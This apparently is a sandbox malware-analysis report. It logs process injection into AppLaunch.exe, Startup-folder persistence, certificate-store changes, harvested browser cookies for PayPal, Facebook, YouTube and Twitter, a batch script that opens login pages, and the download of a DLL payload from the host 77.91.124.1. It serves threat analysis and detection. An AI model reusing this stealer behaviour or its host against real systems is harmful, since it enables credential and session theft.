"C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Wg1zV34.exe" (Handle: 656) "Wg1zV34.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\kH1Br77.exe" (Handle: 648) "Wg1zV34.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\3YF75jT.exe" (Handle: 124) "kH1Br77.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1Of31Ad0.exe" (Handle: 124) "kH1Br77.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2vl5433.exe" (Handle: 620) "1Of31Ad0.exe" wrote 4 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "1Of31Ad0.exe" wrote 512 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "1Of31Ad0.exe" wrote 9216 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "1Of31Ad0.exe" wrote 1536 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "2vl5433.exe" wrote 4 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2vl5433.exe" wrote 1024 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2vl5433.exe" wrote 143872 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2vl5433.exe" wrote 25088 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2vl5433.exe" wrote 3584 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2vl5433.exe" wrote 512 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2vl5433.exe" wrote 12800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640)60:Te8c,"AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "4wt454Ls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")61:T5fb,"4wt454Ls.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES\6431723036FD26DEA502792FA595922493030F97"; Key: "BLOB") "4wt454Ls.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES\B533345D06F64516403C00DA03187D3BFEF59156"; Key: "BLOB") "4wt454Ls.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES\C060ED44CBD881BD0EF86C0BA287DDCF8167478C"; Key: "BLOB") "4wt454Ls.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES\CEA586B2CE593EC7D939898337C57814708AB2BE"; Key: "BLOB") "4wt454Ls.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES\D018B62DC518907247DF50925BB09ACF4A5CB3AD"; Key: "BLOB") "4wt454Ls.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "4wt454Ls.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "4wt454Ls.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "4wt454Ls.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "4wt454Ls.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "4wt454Ls.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "4wt454Ls.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB")62:T9dd,"Select Your Wireless NetworkySelect the network name (SSID) of your wireless network from the list. Network names may take up to 60 seconds to appear." (Source: 00000000-00001884.00000000.67805.025B0000.00000002.mdmp, Indicator: "select your wireless networkyselect the network name (ssid) of your wireless network from the list. network names may take up to 60 seconds to appear."), "Select Your Connection}Select your connection from the list. The connection must have a saved user name and password and be available to all users." (Source: 00000000-00001884.00000000.67805.025B0000.00000002.mdmp, Indicator: "select your connection}select your connection from the list. the connection must have a saved user name and password and be available to all users."), "Select Your Set-top Box Brand}Select the brand of your set-top box from the list. If your brand is not listed select Not Listed at the bottom of the list." (Source: 00000000-00001884.00000000.67805.025B0000.00000002.mdmp, Indicator: "select your set-top box brand}select the brand of your set-top box from the list. if your brand is not listed select not listed at the bottom of the list."), "Select the appropriate display resolution from the list below. For best results use the resolution recommended by the manufacturer in the display hardware documentation." (Source: 00000000-00001884.00000000.67805.025B0000.00000002.mdmp, Indicator: "select the appropriate display resolution from the list below. for best results use the resolution recommended by the manufacturer in the display hardware documentation."), "insert it into the digital tuner and select Scan Again." (Source: 00000000-00001884.00000000.67805.025B0000.00000002.mdmp, Indicator: "insert it into the digital tuner and select scan again."), "Select Add Channel to enter the name and channel number for a standard TV channel that is missing from the Guide. To add a digital TV channel select Add DTV Channel." (Source: 00000000-00001884.00000000.67805.025B0000.00000002.mdmp, Indicator: "select add channel to enter the name and channel number for a standard tv channel that is missing from the guide. to add a digital tv channel select add dtv channel."), "Select OK for more information.ZYour Guide listings include one or more channels that share programming from two networks." (Source: 00000000-00001884.00000000.67805.025B0000.00000002.mdmp, Indicator: "select ok for more information.zyour guide listings include one or more channels that share programming from two networks.")63:Tadc,":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000540.00000000.68076.00420000.00000004.mdmp 00000000-00000540.00000001.69995.00420000.00000004.mdmp 00000000-00000540.00000002.71914.00420000.00000004.mdmp 00000000-00000540.00000003.79257.00420000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000540.00000000.68076.00420000.00000004.mdmp 00000000-00000540.00000001.69995.00420000.00000004.mdmp 00000000-00000540.00000002.71914.00420000.00000004.mdmp 00000000-00000540.00000003.79257.00420000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000540.00000000.68076.00420000.00000004.mdmp 00000000-00000540.00000001.69995.00370000.00000002.mdmp 00000000-00000540.00000001.69995.00420000.00000004.mdmp 00000000-00000540.00000002.71914.00420000.00000004.mdmp 00000000-00000540.00000003.79257.00420000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000540.00000000.68076.00420000.00000004.mdmp 00000000-00000540.00000001.69995.00370000.00000002.mdmp 00000000-00000540.00000001.69995.00420000.00000004.mdmp 00000000-00000540.00000002.71914.00420000.00000004.mdmp 00000000-00000540.00000003.79257.00420000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001884.00000000.67805.00370000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001884.00000000.67805.00370000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001884.00000000.67805.00370000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001884.00000000.67805.00370000.00000004.mdmp64:Td39,Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "3b567ed788b8d07ec909035f6147abd3.exe") file/memory contains long string with (Indicator: "facebook.com"; File: "7822.bat") file/memory contains long string with (Indicator: "paypal"; File: "N2K743XJ.txt") file/memory contains long string with (Indicator: "paypal"; File: "FYNIYSTX.txt") file/memory contains long string with (Indicator: "twitter"; File: "HJIJMRBG.txt") file/memory contains long string with (Indicator: "youtube"; File: "LZCB5RW4.txt") file/memory contains long string with (Indicator: "paypal"; File: "1WWQ951C.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_1_.css") file/memory contains long string with (Indicator: "twitter"; File: "U9YGM5GI.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "Z8UFFNPP.txt") Found string "enforce_policyccpapaypal.com/1025308099763231140258381633199531066930cookie_checkpaypal.com/9217196750246431801691291242719931066931d_id8958946cd40343669353184db1f7d2731698629678767paypal.com/9217196750246431801691292183344931066931" (Indicator: "paypal"; File: "VC2TG33Z.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217221680089631069649231758453331066921VISITOR_INFO1_LIVEY3FWtdAQh7gyoutube.com/9217789182723110304373917973731066922" (Indicator: "youtube"; File: "UOW0FWFC.txt") Found string "0yDGatRQP0mD01HLH..BlPwf3.-V.AAA.0.0.BlPwf3.AWVdp-A71oYfacebook.com/9217121812352310849382353220427310669079wc_ZQ7KiC1BlINoYrWVjcK0facebook.com/9217166626649631147299235712667731066907" (Indicator: "facebook.com"; File: "5R2S1W8O.txt") Found string "guest_id_marketingv1%3A169862963306652084twitter.com/10253623215363121368491641228931066910guest_id_adsv1%3A169862963306652084twitter.com/102536232153631213684211725603931066910" (Indicator: "twitter"; File: "20AE5BES.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217221680089631069649231758453331066921" (Indicator: "youtube"; File: "28WSXSBI.txt") Found string "enforce_policyccpapaypal.com/1025308099763231140258381633199531066930cookie_checkpaypal.com/9217196750246431801691291242719931066931" (Indicator: "paypal"; File: "S6YGBQ1K.txt") Found string "CheckConnectionTempCookie409762717accounts.youtube.com/accounts/2147484752427804224031066935417921426531066935" (Indicator: "youtube"; File: "DOS00XMN.txt") Found string "0yDGatRQP0mD01HLH..BlPwf3.-V.AAA.0.0.BlPwf3.AWVdp-A71oYfacebook.com/921712181235231084938235322042731066907" (Indicator: "facebook.com"; File: "N4GMW9T5.txt") Found string "guest_id_marketingv1%3A169862963306652084twitter.com/10253623215363121368491641228931066910" (Indicator: "twitter"; File: "6K2TS13C.txt") Found string "enforce_policyccpapaypal.com/1025308099763231140258381633199531066930" (Indicator: "paypal"; File: "AH80U4M2.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "2F22M3O0.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "twitter.com" (Indicator: "twitter"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP")65:Ta17,"@shift /0start "" https://accounts.google.comstart "" https://www.facebook.com/loginstart "" https://accounts.google.comstart "" https://store.steampowered.com/login/start "" https://twitter.com/i/flow/loginstart "" https://steamcommunity.com/openid/loginform/start "" https://www.epicgames.com/id/loginstart "" https://www.paypal.com/signinstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025308099763231140258381633199531066930cookie_checkpaypal.com/9217196750246431801691291242719931066931d_id8958946cd40343669353184db1f7d2731698629678767paypal.com/9217196750246431801691292183344931066931tsrceunifiedloginnodewebpaypal.com/921731794269443106743612430365331066932vreXpYrS%3D1793324078%26vteXpYrS%3D1698631478%26vr%3D7e37f68018b0aa308c8425fffd6b4e69%26vt%3D7e37f68018b0aa308c8425fffd6b4e68%26vtyp%3Dnewpaypal.com/921728386127363128710912477240331066932ts_cvr%3D7e37f68018b0aa308c8425fffd6b4e69%26vt%3D7e37f68018b0aa308c8425fffd6b4e68paypal.com/102528386127363128710912477240331066932" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025308099763231140258381633199531066930cookie_checkpaypal.com/9217196750246431801691291242719931066931d_id8958946cd40343669353184db1f7d2731698629678767paypal.com/9217196750246431801691292183344931066931tsrceunifiedloginnodewebpaypal.com/921731794269443106743612430365331066932vreXpYrS%3D1793324078%26vteXpYrS%3D1698631478%26vr%3D7e37f68018b0aa308c8425fffd6b4e69%26vt%3D7e37f68018b0aa308c8425fffd6b4e68%26vtyp%3Dnewpaypal.com/921728386127363128710912477240331066932" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025308099763231140258381633199531066930cookie_checkpaypal.com/9217196750246431801691291242719931066931d_id8958946cd40343669353184db1f7d2731698629678767paypal.com/9217196750246431801691292183344931066931tsrceunifiedloginnodewebpaypal.com/921731794269443106743612430365331066932" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025308099763231140258381633199531066930cookie_checkpaypal.com/9217196750246431801691291242719931066931d_id8958946cd40343669353184db1f7d2731698629678767paypal.com/9217196750246431801691292183344931066931" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025308099763231140258381633199531066930cookie_checkpaypal.com/9217196750246431801691291242719931066931" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025308099763231140258381633199531066930" (Indicator: "paypal.com") "start "" https://www.paypal.com/signin" (Indicator: "paypal.com") "paypal.com" (Indicator: "paypal.com")66:T3f88,"GET /theme/Plugins/cred.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 404 Not Found Date: Mon 30 Oct 2023 01:32:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 200 OK Date: Mon 30 Oct 2023 01:32:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 30 Sep 2023 10:50:50 GMT ETag: "16400-60691507c4d20" Accept-Ranges: bytes Content-Length: 91136 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 975 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 30 Oct 2023 01:32:46 GMT Last-Modified: Mon 30 Oct 2023 01:16:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 30 Oct 2023 01:16:31 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 977 Cache-Control: max-age=7200 Date: Mon 30 Oct 2023 01:32:48 GMT Last-Modified: Mon 30 Oct 2023 01:16:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT with response body ==>....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 01:26:17 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 403 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 01:25:07 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 476 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 30 Oct 2023 01:29:43 GMT Expires: Mon 30 Oct 2023 02:19:43 GMT Cache-Control: public max-age=3000 Age: 201 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/fVJxbV-Ktmk.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 11379 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 30 Oct 2023 01:04:48 GMT Expires: Mon 30 Oct 2023 01:54:48 GMT Cache-Control: public max-age=3000 Last-Modified: Sun 29 Oct 2023 23:44:29 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Age: 1696 with response body ==>30822C6F30822B57020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 00:53:55 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2350 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 132233 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Mon 30 Oct 2023 01:33:06 GMT Etag: "614b5ba7-243" expires: Wed 01 Nov 2023 01:33:06 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 710 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 30 Oct 2023 01:33:15 GMT Last-Modified: Mon 30 Oct 2023 01:21:26 GMT Server: ECAcc (sac/2568) X-Cache: HIT Content-Length: 313 with response body ==>308201350A0100A082012E3082012A06092B06010505073001010482011B3082011730819EA2160414B3DB48A4F9A1C5D8AE3641CC1163696229BC4BC6180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 01:19:19 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 836 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 01:19:19 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 837 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET 